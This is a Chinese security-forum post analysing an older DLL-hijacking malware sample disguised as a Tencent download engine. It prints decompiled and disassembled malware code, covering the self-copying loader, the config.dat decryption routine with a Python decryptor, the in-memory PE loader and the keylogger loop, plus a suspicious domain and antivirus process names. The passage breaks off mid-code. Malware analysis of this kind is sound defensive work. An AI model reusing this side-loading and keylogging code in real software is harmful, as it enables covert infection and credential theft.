首页
社区
课程
招聘
[原创]白加黑dll劫持恶意样本分析(含样本详细逻辑)
2024-5-10 22:16 8959

[原创]白加黑dll劫持恶意样本分析(含样本详细逻辑)

2024-5-10 22:16
8959

前言

一杯茶,一根烟,一个样本调一天。

这是我在学习网安路上的一条记录。
虽然样本是相对比较古老的,网上也有很多人分析过,但是他们的资料都比较宽泛,过程很跳。对我来说,我希望对这个样本行为有更深更细的掌握,因此在函数行为逻辑方面我做了更深更彻底的探讨,比如键盘记录器以及中途如何去寻找上游控制函数,几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天,中途还有相当多的不足以及错误,比如远控函数sub_10002020的具体的功能函数,白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE,以及其他我没有关注到的细节,希望大佬们多多指导。

样本分析

白加黑:用自己编写的恶意dll替代合法程序所需DLL,实现恶意代码注入

Windows XP SP2系统以上DLL文件加载的搜索顺序如下:

  1. 可执行程序加载的目录(可理解为程序安装目录比如C:\Program Files\Internet Explorer)
  2. 系统目录(即 %windir%\system32)
  3. 16位系统目录(即 %windir%\system)
  4. Windows目录(即 %windir%)
  5. 运行某文件的所在目录(比如C:\Documents and Settings\Administrator\Desktop\test)
  6. PATH环境变量中列出的目录

根据前面介绍的DLL加载顺序,运行程序的时候会优先到程序执行的目录下加载必须文件,这么一来,病毒作者可以伪造一个dll,包含所有被劫持dll的导出函数,放到可执行程序目录下,当exe运行时,病毒dll就理所当然被优先调用了。

前期文件整理分析

两个隐藏文件,一个截图.bmp
image.pngimage.png
bmp是图像,这里系统解析是快捷方式,这里先不双击,winhex查看bmp
发现他会调用系统的rundll32.exe,调用样本的dat/reg.dll
image.png
双击之后,会弹出一个腾讯游戏云加速下载引擎,然后跳出一个DNF价格表jpg图片
image.pngimage.png
火绒剑监控rundll32.exe进程,过滤rundll32.exe进程和病毒文件夹路径
image.pngimage.png
image.png
可以看到,调用了三种dll

  1. dat/Reg.dll
  2. HD_Comm.dll
  3. dat/TenioDL_core.dll

并且观察进程可以发现,多了QQGame.exe
image.png
查看可疑进程dllhost.exe,可以发现dat中的TenioDL_core.dll
image.png
双击bmp之后还有一个可疑进程Au.exe,查看信息可以知道就是刚刚跳出来的下载引擎
image.png
image.png
整理以上信息

文件名 MD5 是否有签名
HD_Comm.dll 4E7297B83268994537D575716CC65A54
截图.bmp.lnk 5C9422B6B2731A67D8504CD5C8F96812
Au.exe 4BED62D4A1344F3A87E8B8A629E3B26D 有(腾讯游戏云加速下载引擎(旋风Inside)
Config.dat B6BE1CFEB69FC091E67480E45E9B4B4D
io.dat 798536BB39EF2066DF35885F78C59A58
Reg.dll E3DE7CB9E11F877ABDB56D832F20E76F
config.dat B6BE1CFEB69FC091E67480E45E9B4B4D
dllhost.exe 9A0F444364CC3FC74C3AB1E7BFBD219B
load.exe 4BED62D4A1344F3A87E8B8A629E3B26D 有(腾讯游戏云加速下载引擎(旋风Inside))
TenioDL_core.dll 4E7297B83268994537D575716CC65A54

接下来就是根据这个表进行分析
首先分析reg.dll

Reg.dll

先静态分析
扔到IDA中,查看字符串
导入文件的过程中,要求我们导入病毒文件夹中的HD_Comm.dll文件,这个后面得分析
复现文章中有中文,银行检测工具啥的,我没带插件,分析的其实是英文
image.png
image.png
image.png
可以猜测是安全检测工具的dll,或者是恶意工具实现的导出函数
这里的字符串没有什么特别可疑的,大部分是函数名和dll调用,最可疑的还是病毒自己实现的HD_Comm.dll

1
.rdata:10006E20 0000000C    C   HD_Comm.dll

整体上Reg.dll还是一个跳板文件,这里分析HD_Comm.dll

HD_Comm.dll

这个DLL解析不出导入表,查看导出表,其中有很多函数,可能是在正常dll文件中加入了恶意代码
发现加了UPX壳,脱壳,安装官方工具https://github.com/upx/upx/releases,脱壳upx -d即可

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\wang\Desktop\upx-4.2.3-win64> .\upx.exe -d C:\Users\wang\Desktop\信誉新价格\HD_Comm.dll
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.3       Markus Oberhumer, Laszlo Molnar & John Reiser   Mar 27th 2024
 
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     24576 <-      9728   39.58%    win32/pe     HD_Comm.dll
 
Unpacked 1 file.
PS C:\Users\wang\Desktop\upx-4.2.3-win64>

重新分析HD_Comm.dll发现已经脱壳了,原先的是upx壳,所以导入表没用,导出表仍然是那么多
image.png
导入表比较可疑,发现了shellcode常用的几个api,winexec、createfileA、LoadLibraryA等
image.png
dllmain比较小只,逻辑比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  CHAR ExistingFileName[257]; // [esp+8h] [ebp-40Ch] BYREF
  __int16 v5; // [esp+109h] [ebp-30Bh]
  char v6; // [esp+10Bh] [ebp-309h]
  CHAR Filename[253]; // [esp+10Ch] [ebp-308h] BYREF
  __int16 v8; // [esp+209h] [ebp-20Bh]
  char v9; // [esp+20Bh] [ebp-209h]
  CHAR String1[257]; // [esp+20Ch] [ebp-208h] BYREF
  __int16 v11; // [esp+30Dh] [ebp-107h]
  char v12; // [esp+30Fh] [ebp-105h]
  CHAR pszPath[257]; // [esp+310h] [ebp-104h] BYREF
  __int16 v14; // [esp+411h] [ebp-3h]
  char v15; // [esp+413h] [ebp-1h]
 
  memset(Filename, 0, sizeof(Filename));
  dword_100035F0 = hinstDLL;
  v8 = 0;
  v9 = 0;
  GetModuleFileNameA(0, Filename, 0xFFu);
  CharLowerA(Filename);
  if ( StrStrA(Filename, pszSrch) )
  {
    if ( CreateMutexA(0, 0, Name) && GetLastError() == 183 )
      ExitProcess(0);
    memset(pszPath, 0, sizeof(pszPath));
    v14 = 0;
    v15 = 0;
    GetModuleFileNameA(dword_100035F0, pszPath, 0x104u);
    PathRemoveFileSpecA(pszPath);
    lstrcatA(pszPath, aDatTeniodlCore);
    memset(ExistingFileName, 0, sizeof(ExistingFileName));
    v5 = 0;
    v6 = 0;
    GetModuleFileNameA(dword_100035F0, ExistingFileName, 0x104u);
    CopyFileA(ExistingFileName, pszPath, 0);
    memset(String1, 0, sizeof(String1));
    v11 = 0;
    v12 = 0;
    GetModuleFileNameA(dword_100035F0, String1, 0x104u);
    PathRemoveFileSpecA(String1);
    lstrcatA(String1, aDatAuExe);
    WinExec(String1, 0);
  }
  return 1;
}
  1. CreateMutexA创建互斥对象,确保只运行一个恶意程序

image.png

  1. 获取当前模块文件名,并通过 PathRemoveFileSpecA 函数去掉文件名部分,得到目录路径。然后将 aDatTeniodlCore 字符串追加到目录路径后面,得到一个新的文件路径,并使用CopyFileA将当前模块对应DLL复制到这个路径,具体的就是:以分析环境为例,构造出C:\Users\wang\Desktop\信誉新价格\dat\TenioDL_core.dll路径,然后把当前的HD_Comm.dll复制并重命名**C:\Users\wang\Desktop\信誉新价格\dat\TenioDL_core.dll**
  2. 获取当前DLL路径,将aDatAuExe字符串追加到路径后,构造出**C:\Users\wang\Desktop\信誉新价格\dat\Au.exe**
  3. 使用WinExec执行**C:\Users\wang\Desktop\信誉新价格\dat\Au.exe**

Au.exe

运行Au.exe,发现dnf的图片跳出来,说明病毒已经运行。
静态分析,查壳,无壳
image.png
IDA分析,符号表不全,先查看字符串
注意到字符表,可能用来做加密
image.png
搜索dll、exe等敏感字符,发现会调用我们之前复制过去的TenioDL_core.dll
image.png

从WinMain开始分析

1
2
3
4
5
6
7
8
9
10
11
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  if ( sub_401C50() )
    return -1;
  ImmDisableIME(0xFFFFFFFF);
  sub_401ED0();
  strstr(lpCmdLine, "tenio_debug_console");
  TenioDL_Initialize();
  ReleaseMutex(hMutex);
  return 0;
}

经过总体分析,这里的sub_401C50是全局话的设置,ImmDisableIME是输入法方面设置,sub_401ED0设置了一些安全方面的内容,疑似下了一些检测filter和钩子,最终调用了TenioDL_Initialize。
搜索TenioDL_Initialize,可以发现Teniodl进程是腾讯游戏中高速下载引擎下载进程,而这个函数是做初始化操作的。
上面我们知道Au.exe调用了Teniodl_Core.dll,搜索引用发现TenioDL_Initialize是Teniodl_Core.dll的导出函数,所以去分析TenioDL_Initialize函数

1
2
3
4
.rdata:00425C94 54 65 6E 69 6F 44 4C 5F 63 6F+aTeniodlCoreDll db 'TenioDL_core.dll',0 ; DATA XREF: .rdata:00425864↑o
 
.rdata:00425864 94 5C 02 00                   dd rva aTeniodlCoreDll                  ; DLL Name
.rdata:00425868 98 21 02 00                   dd rva ?TenioDL_Initialize@@YAHXZ       ; Import Address Table

Teniodl_Core.dll

我们知道,Teniodl_Core.dll其实就是我们之前分析的HD_Comm.dll,不过这里调用的是HD_Comm.dll提供的导出函数,不是DllMain。
跟进TenioDL_Initialize
(同样的这个dll需要脱upx壳)
image.png
进入函数之后可以查看到,首先调用GetModuleFileNameA获取模块名,GetForegroundWindow和GetInputState检查前台窗口和输入状态(不明白有啥用),PathRemoveFileSpecA去除文件名,再用lstrcatA追加\config.dat,构造出C:\Users\wang\Desktop\信誉新价格\dat\Config.dat,这就是存放病毒的数据文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
; Exported entry 107. ?TenioDL_Initialize@@YAHXZ
 
 
; Attributes: bp-based frame
 
; int __cdecl TenioDL_Initialize()
public ?TenioDL_Initialize@@YAHXZ
?TenioDL_Initialize@@YAHXZ proc near
 
Filename= byte ptr -10Ch
NumberOfBytesRead= dword ptr -8
hFile= dword ptr -4
 
push    ebp
mov     ebp, esp
sub     esp, 10Ch
push    esi
push    edi
lea     eax, [ebp+Filename]
push    104h            ; nSize
push    eax             ; lpFilename
push    dword_100035F0  ; hModule
call    ds:GetModuleFileNameA
call    ds:GetForegroundWindow
call    ds:GetInputState
lea     eax, [ebp+Filename]
push    eax             ; pszPath
call    ds:PathRemoveFileSpecA
lea     eax, [ebp+Filename]
push    offset aConfigDat ; "\\config.dat"
push    eax             ; lpString1
call    ds:lstrcatA
xor     edi, edi
lea     eax, [ebp+Filename]
push    edi             ; hTemplateFile
push    edi             ; dwFlagsAndAttributes
push    3               ; dwCreationDisposition
push    edi             ; lpSecurityAttributes
push    edi             ; dwShareMode
push    80000000h       ; dwDesiredAccess
push    eax             ; lpFileName
call    ds:CreateFileA

继续查看代码。指定了config.dat文件,首先会创建或者打开config.dat,readfile读取文件内容到开辟出来的堆内存中,然后解密函数从内存中把数据写入config.dat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl TenioDL_Initialize()
{
  int v0; // edi
  HANDLE FileA; // eax
  DWORD FileSize; // ebx
  HANDLE ProcessHeap; // eax
  char *v4; // esi
  int v5; // eax
  void *v6; // esi
  void (*v8)(void); // eax
  CHAR Filename[260]; // [esp+8h] [ebp-10Ch] BYREF
  DWORD NumberOfBytesRead; // [esp+10Ch] [ebp-8h] BYREF
  HANDLE hFile; // [esp+110h] [ebp-4h]
 
  GetModuleFileNameA(dword_100035F0, Filename, 0x104u);
  GetForegroundWindow();
  GetInputState();
  PathRemoveFileSpecA(Filename);
  lstrcatA(Filename, aConfigDat);
  v0 = 0;
  FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0, 0);
  hFile = FileA;
  if ( FileA == (HANDLE)-1 )
  {
    CloseHandle((HANDLE)0xFFFFFFFF);
    return 0;
  }
  FileSize = GetFileSize(FileA, 0);
  ProcessHeap = GetProcessHeap();
  v4 = (char *)HeapAlloc(ProcessHeap, 8u, FileSize);
  NumberOfBytesRead = 0;
  ReadFile(hFile, v4, FileSize, &NumberOfBytesRead, 0);
  CloseHandle(hFile);
  sub_100016B0(++v4, FileSize, 0x18u);
  v5 = sub_10001000(v4);
  v6 = (void *)v5;
  if ( !v5 )
    return 0;
  v8 = (void (*)(void))sub_100014DE(v5, String1);
  if ( v8 )
  {
    v8();
    v0 = 42;
  }
  sub_10001587(v6);
  return v0;
}

解密函数

进入sub_100016B0看看,可以发现先这个操作非常像解密函数,传入的a1参数是开辟的堆内存,其中存放config.dat读取进的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)HeapAlloc(ProcessHeap, 8u, FileSize);
NumberOfBytesRead = 0;
ReadFile(hFile, v5, FileSize, &NumberOfBytesRead, 0);
CloseHandle(hFile);
v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)((char *)v5 + 1);
sub_100016B0(v5, FileSize, 0x18u);
// sub_100016B0重命名为TrojanDecrypt
......
// push    18h
// push    ebx
// push    esi
// call    TrojanDecrypt   ; 病毒解密函数
 
// 病毒解密函数
int __cdecl TrojanDecrypt(int a1, int a2, unsigned __int8 a3)
{
  int result; // eax
  int v4; // esi
 
  result = a3 / 169;
  v4 = a2;
  if ( a2 )
  {
    result = a1;
    do
    {
      *(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);
      ++result;
      --v4;
    }
    while ( v4 );
  }
  return result;
}

汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
.text:100016B0                               ; =============== S U B R O U T I N E =======================================
.text:100016B0
.text:100016B0                               ; 病毒解密函数
.text:100016B0                               ; Attributes: bp-based frame
.text:100016B0
.text:100016B0                               ; int __cdecl TrojanDecrypt(int, int, unsigned __int8)
.text:100016B0                               TrojanDecrypt proc near                 ; CODE XREF: TenioDL_Initialize(void)+B7↓p
.text:100016B0
.text:100016B0                               arg_0= dword ptr  8
.text:100016B0                               arg_4= dword ptr  0Ch
.text:100016B0                               arg_8= byte ptr  10h
.text:100016B0
.text:100016B0 55                            push    ebp
.text:100016B1 8B EC                         mov     ebp, esp
.text:100016B3 56                            push    esi
.text:100016B4 90                            nop
.text:100016B5 90                            nop
.text:100016B6 90                            nop
.text:100016B7 90                            nop
.text:100016B8 90                            nop
.text:100016B9 0F B6 45 10                   movzx   eax, [ebp+arg_8]
.text:100016BD 99                            cdq
.text:100016BE B9 A9 00 00 00                mov     ecx, 0A9h
.text:100016C3 F7 F9                         idiv    ecx
.text:100016C5 80 C2 08                      add     dl, 8
.text:100016C8 90                            nop
.text:100016C9 8B 75 0C                      mov     esi, [ebp+arg_4]
.text:100016CC 85 F6                         test    esi, esi
.text:100016CE 76 0F                         jbe     short loc_100016DF
.text:100016CE
.text:100016D0 8B 45 08                      mov     eax, [ebp+arg_0]
.text:100016D0
.text:100016D3
.text:100016D3                               loc_100016D3:                           ; CODE XREF: TrojanDecrypt+2D↓j
.text:100016D3 8A 08                         mov     cl, [eax]
.text:100016D5 32 CA                         xor     cl, dl
.text:100016D7 2A CA                         sub     cl, dl
.text:100016D9 88 08                         mov     [eax], cl
.text:100016DB 40                            inc     eax
.text:100016DC 4E                            dec     esi
.text:100016DD 75 F4                         jnz     short loc_100016D3
.text:100016DD
.text:100016DF
.text:100016DF                               loc_100016DF:                           ; CODE XREF: TrojanDecrypt+1E↑j
.text:100016DF 5E                            pop     esi
.text:100016E0 5D                            pop     ebp
.text:100016E1 C3                            retn
.text:100016E1
.text:100016E1                               TrojanDecrypt endp

根据反汇编代码我们可以得到解密思路:

1
2
3
*(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);
++result;
--v4;

提取病毒

浅浅写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def decrypt_data(input_file, output_file, key):
    # 读取输入文件
    with open(input_file, 'rb') as f:
        encrypted_data = f.read()
 
    decrypted_data = bytearray()
    # 解密过程
    for byte in encrypted_data:
        decrypted_byte = ((key % 169 + 8) ^ byte) - (key % 169 + 8)
        # 由于减法可能导致字节值小于0,我们需要将其模256以保持在有效字节范围内
        decrypted_data.append(decrypted_byte & 0xFF)
 
    # 写入输出文件
    with open(output_file, 'wb') as f:
        f.write(decrypted_data)
 
# 解密密钥
key = 0x18
# 调用解密函数
decrypt_data('Config.dat', 'result.dat', key)

但是这里脚本有点问题,我直接到动调里面内存dump吧
走出100016B0之后,内存中的PE已经被修改了。image.png
浅浅算一下文件地址,winhex中看到大小为64CF0
image.png
动调中,ESI起始地址(内存分配地址)为0xx6B68D1,加一起就是0x71B5C1。
dump出来,保存为文件
image.png
image.png

sub_10001000(没分析明白,感觉是病毒装载执行函数)

在病毒的解密(sub_100016B0)之后,进入sub_10001000,分析在注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// 入参为病毒PE文件句柄
_DWORD *__cdecl sub_10001000(_DWORD *Src)
{
  HMODULE LibraryA; // eax
  HMODULE v2; // eax
  char *v3; // esi
  char *v4; // ebx
  HANDLE ProcessHeap; // eax
  _DWORD *v6; // edi
  char *v7; // eax
  char *v8; // eax
  LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); // [esp+Ch] [ebp-4h]
  char *v11; // [esp+Ch] [ebp-4h]
 
  LibraryA = LoadLibraryA(LibFileName);         // kernel32.dll
  VirtualAlloc = (LPVOID (__stdcall *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(LibraryA, ProcName);// VirtuallAlloc
  v2 = LoadLibraryA(LibFileName);
  GetProcAddress(v2, aVirtualprotect);          // VirtualProtect
  GetForegroundWindow();
  GetInputState();
  GetForegroundWindow();
  GetInputState();
  if ( *(_WORD *)Src != 23117 )                 // 0X4D5A "MZ"
    return 0;
  v3 = (char *)Src + Src[15];                   // 为什么是src+src[15]?这里应该是要到达PE头,但是难道不是访问e_lfanew吗?偏移为0x3c
                                                // 答:可能是经过了编译器优化,或者特殊的编程技巧。反正这里一定是指向的NT头
  if ( *(_DWORD *)v3 != 17744 )                 // 0x4550 "PE"
    return 0;
  v4 = (char *)VirtualAlloc(*((LPVOID *)v3 + 13), *((_DWORD *)v3 + 20), 0x2000, 4);// 尝试在ImageBase地址处开辟大小为SizeOfImage大小的内存
  if ( !v4 )
  {
    v4 = (char *)VirtualAlloc(0, *((_DWORD *)v3 + 20), 0x2000, 4);// 随机开辟SizeOfImage大小的内存
    if ( !v4 )
      return 0;
  }
  ProcessHeap = GetProcessHeap();               // 获取进程堆句柄
  v6 = HeapAlloc(ProcessHeap, 0, 0x14u);        // 开辟0x14大小的堆,未初始化内存
  v6[1] = v4;                                   // 注册刚刚分配的虚拟内存
  v6[3] = 0;
  v6[2] = 0;
  v6[4] = 0;
  VirtualAlloc(v4, *((_DWORD *)v3 + 20), 4096, 4);// 这可能是反编译的误解,这里没有必要
  v11 = (char *)VirtualAlloc(v4, *((_DWORD *)v3 + 21), 4096, 4);
  memcpy(v11, Src, *((_DWORD *)v3 + 21) + Src[15]);
  v7 = &v11[Src[15]];
  *v6 = v7;
  *((_DWORD *)v7 + 13) = v4;
  sub_10001171(Src, v3, v6);
  if ( v4 != *((char **)v3 + 13) )
    sub_10001339(v6, &v4[-*((_DWORD *)v3 + 13)]);
  if ( !sub_100013CA(v6) )
  {
LABEL_11:
    sub_10001587(v6);
    return 0;
  }
  sub_1000125D(v6);
  if ( *(_DWORD *)(*v6 + 40) )
  {
    GetForegroundWindow();
    GetInputState();
    GetForegroundWindow();
    GetInputState();
    v8 = &v4[*(_DWORD *)(*v6 + 40)];
    if ( !v8 || !((int (__stdcall *)(char *, int, _DWORD))v8)(v4, 1, 0) )
      goto LABEL_11;
    v6[4] = 1;
  }
  return v6;
}

我的直觉告诉我这里的v8函数调用应该有大问题,但是静态分析实在怼不出来,动调试一下,看看v8指向的是哪里。
NT头检测image.png
edi指向pe头
image.png
步入v8调用的函数,然后啥都没分析出来,没看到什么敏感的函数或者操作,开辟了个内存然后又释放了。
这个v6,应当是注册PE各个头内存地址的堆,动调没看出个所以然来。
菜了,不知道这里是不是这种思路,看不出东西我就先过。

sub_100014DE

解密病毒文件之后,调用sub_100014DE,传入的string1为wow_helper,v5为堆内存(这个堆有啥用没分析明白)

1
2
3
4
5
6
7
8
9
10
11
12
13
v5 = sub_10001000(v4);
v6 = v5;
if ( !v5 )
    return 0;
v8 = (void (*)(void))sub_100014DE((int)v5, String1);
if ( v8 )
{
    v8();
    v0 = 42;
}
sub_10001587(v6);
return v0;
}

这个函数事后诸葛亮地分析一波,其中有stricmp函数进行比较,应当是搜索wow_helper,我们也知道这是Config.dat的导出函数,那么这里应当就是搜索这个导出函数的。
最终会返回一个句柄,并且在外部执行这个函数,动调看一眼image.png
动调跟进call eax。调试发现这里调用了病毒文件Config.dat,相关字符串是Config.dat的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
021DAC60 | 81EC EC0D0000            | sub esp,DEC                             |
021DAC66 | 68 4CC31E02              | push 21EC34C                            | 21EC34C:"KSafeTray.exe"
021DAC6B | E8 A0FAFFFF              | call 21DA710                            |
021DAC70 | 83C4 04                  | add esp,4                               |
021DAC73 | 85C0                     | test eax,eax                            |
021DAC75 | 74 0D                    | je 21DAC84                              |
021DAC77 | 68 4CC31E02              | push 21EC34C                            | 21EC34C:"KSafeTray.exe"
021DAC7C | E8 BFF4FFFF              | call 21DA140                            |
021DAC81 | 83C4 04                  | add esp,4                               |
021DAC84 | 53                       | push ebx                                |
021DAC85 | 55                       | push ebp                                |
021DAC86 | 56                       | push esi                                | esi:&"PE"
021DAC87 | 57                       | push edi                                |
021DAC88 | 33DB                     | xor ebx,ebx                             |
021DAC8A | B9 3F000000              | mov ecx,3F                              | ecx:"wow_helper", 3F:'?'
021DAC8F | 33C0                     | xor eax,eax                             |
021DAC91 | 8DBC24 F1070000          | lea edi,dword ptr ss:[esp+7F1]          |
021DAC98 | 889C24 F0070000          | mov byte ptr ss:[esp+7F0],bl            |
021DAC9F | 8B35 88511E02            | mov esi,dword ptr ds:[<&GetModuleFileNa | esi:&"PE"
021DACA5 | F3:AB                    | rep stosd                               |
021DACA7 | 66:AB                    | stosw                                   |
021DACA9 | AA                       | stosb                                   |
021DACAA | 8D8424 F0070000          | lea eax,dword ptr ss:[esp+7F0]          |
021DACB1 | 68 FF000000              | push FF                                 |
021DACB6 | 50                       | push eax                                |
021DACB7 | 53                       | push ebx                                |
021DACB8 | FFD6                     | call esi                                |
021DACBA | 8D8C24 F0070000          | lea ecx,dword ptr ss:[esp+7F0]          |
021DACC1 | 51                       | push ecx                                | ecx:"wow_helper"
021DACC2 | FF15 B4531E02            | call dword ptr ds:[<&CharLowerA>]       |
021DACC8 | 8D9424 F0070000          | lea edx,dword ptr ss:[esp+7F0]          |
021DACCF | 68 40C31E02              | push 21EC340                            | 21EC340:"load.exe"
021DACD4 | 52                       | push edx                                |
021DACD5 | FF15 00531E02            | call dword ptr ds:[<&StrStrA>]          |
021DACDB | 85C0                     | test eax,eax                            |
021DACDD | 0F84 C7010000            | je 21DAEAA                              |
021DACE3 | 53                       | push ebx                                |
021DACE4 | 8D8424 EC030000          | lea eax,dword ptr ss:[esp+3EC]          |
021DACEB | 6A 24                    | push 24                                 |
021DACED | 50                       | push eax                                |
021DACEE | 53                       | push ebx                                |
021DACEF | FF15 E0521E02            | call dword ptr ds:[<&SHGetSpecialFolder |
021DACF5 | 8D8C24 E8030000          | lea ecx,dword ptr ss:[esp+3E8]          |
021DACFC | 68 C8C11E02              | push 21EC1C8                            | 21EC1C8:"\\limit\\dllhost.exe"
021DAD01 | 51                       | push ecx                                | ecx:"wow_helper"
021DAD02 | FF15 30521E02            | call dword ptr ds:[<&lstrcatA>]         |
021DAD08 | 8B2D 60511E02            | mov ebp,dword ptr ds:[<&LoadLibraryA>]  |
021DAD0E | 68 A0C01E02              | push 21EC0A0                            | 21EC0A0:"kernel32.dll"

上面这俩函数没有分析明白,先看病毒程序吧

Config.dat 病毒分析

字符串分析

之前内存dump出来的病毒扔到IDA中,识别为PE。查看字符串

  1. 键盘抓取相关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.data:1001B744  0000000E    C   [Pause Break]
.data:1001B754  00000008    C   [Shift]
.data:1001B75C  00000006    C   [Alt]
.data:1001B764  00000008    C   [CLEAR]
.data:1001B76C  0000000C    C   [BACKSPACE]
.data:1001B778  00000009    C   [DELETE]
.data:1001B784  00000009    C   [INSERT]
.data:1001B798  0000000B    C   [Num Lock]
.data:1001B7A4  00000007    C   [Down]
.data:1001B7AC  00000008    C   [Right]
.data:1001B7BC  00000007    C   [Left]
.data:1001B7C4  0000000B    C   [PageDown]
.data:1001B7D0  00000006    C   [End]
.data:1001B7D8  00000009    C   [Delete]
.data:1001B7E4  00000009    C   [PageUp]
.data:1001B7F0  00000007    C   [Home]
.data:1001B7F8  00000009    C   [Insert]
.data:1001B804  0000000E    C   [Scroll Lock]
.data:1001B814  0000000F    C   [Print Screen]
.data:1001B82C  00000006    C   [WIN]
.data:1001B834  00000007    C   [CTRL]
.data:1001B8C4  00000006    C   [TAB]
.data:1001B900  00000006    C   [F12]
.data:1001B908  00000006    C   [F11]
.data:1001B910  00000006    C   [F10]
.data:1001B960  00000006    C   [ESC]
.data:1001B968  00000008    C   [Enter]
.data:1001B9A8  0000000A    C   <Enter>\r\n
.data:1001B9B4  0000000C    C   <BackSpace>
  1. 域名/QQ
1
.data:1001BAB4  0000000E    C   981859203.com
  1. 可疑文件路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.data:1001C1C8  00000013    C   \\limit\\dllhost.exe
.data:1001C1FC  0000000F    C   //Explorer.EXE
.data:1001C20C  0000000C    C   360Tray.exe
.data:1001C224  00000008    C   \\Au.exe
.data:1001C264  00000009    C   c:\\1.jpg
.data:1001C270  00000018    C   \\limit\\TenioDL_core.dll
.data:1001C288  00000012    C   \\TenioDL_core.dll
.data:1001C29C  00000012    C   \\limit\\config.dat
.data:1001C2B0  0000000C    C   \\config.dat
.data:1001C2BC  0000000D    C   \\dllhost.exe
.data:1001C2CC  00000007    C   \\limit
.data:1001C2D4  00000010    C   \\limit\\load.exe
.data:1001C2EC  00000008    C   \\io.dat
.data:1001C2F8  0000001B    C   \\Tencent\\QQGAME\\QQGame.exe
.data:1001C314  00000008    C   \\QQGAME
.data:1001C31C  00000009    C   \\Tencent
.data:1001C340  00000009    C   load.exe
.data:1001C34C  0000000E    C   KSafeTray.exe
.data:1001C36C  00000010    C   \\Tencent\\QQGAME

键盘记录

任意挑选一个键盘相关字符串,我这里选择Shift,查看交叉引用
image.png
发现是单字符存储(数组),那么就查看数组的交叉引用,类型为r说明被读取了image.png
可以发现,作为lstrcatA的参数,拿去与字符串拼接了image.png
按下空格,查看一下总体模块流程
各种条件分支
流程图
查看详细的键盘记录逻辑,分析sub_10006040函数
函数中有三个关键参数:v2计数器、string、v8字符数组
函数会首先判断string是否为空,不为空的话会调用sub_10005F30处理收集到的字符信息
这里我们首先查看字符为空,函数如何收集按键信息

按键记录(sub_10006040)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v2 = 0;
while ( 1 )
{
  KeyState = GetKeyState(16); // 检查Shift键是否被按下
  v4 = dword_1001B4F4[v2]; // 获取当前迭代中指定的键的虚拟键码
  v5 = KeyState; // 存储Shift键的状态
  if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下
  {
    // ...其他代码处理按键释放...
  }
  else
  {
    // ...其他代码处理按键按下...
  }
  // ...循环的其他部分...
  if ( ++v2 >= 101 )
    break;
}

首先他使用v2进行虚拟键码迭代

  1. 循环初始化v2被初始化为0,它作为循环计数器和数组索引。
  2. 无限循环while (1)创建了一个无限循环,这意味着循环会一直执行,直到遇到break语句。
  3. Shift键状态:**GetKeyState(16)**调用检查Shift键(其虚拟键码为16)是否被按下。如果按下,返回值的最高位将被设置。
  4. 获取虚拟键码v4dword_1001B4F4数组中获取当前迭代v2的值对应的键的虚拟键码。
  5. 按键状态获取
    • GetAsyncKeyState(v4)调用检查v4指定的键是否在之前的检查周期内被按下。
    • 结果通过右移8位并与0x80进行位与操作来检查。如果结果为0,表示键没有被按下;如果不为0,表示键被按下。
  6. 按键按下与释放的处理
    • 如果键没有被按下,代码进入一个分支处理按键释放的情况。
    • 如果键被按下,代码进入另一个分支处理按键按下的情况。
  7. 循环计数器递增v2递增,准备检查下一个键。
  8. 循环终止条件:如果v2达到101,循环通过break终止。

接下来是不同按键的处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下
{
    v6 = v8[v4];
    if ( v6 )
    {
        v8[v4] = 0;
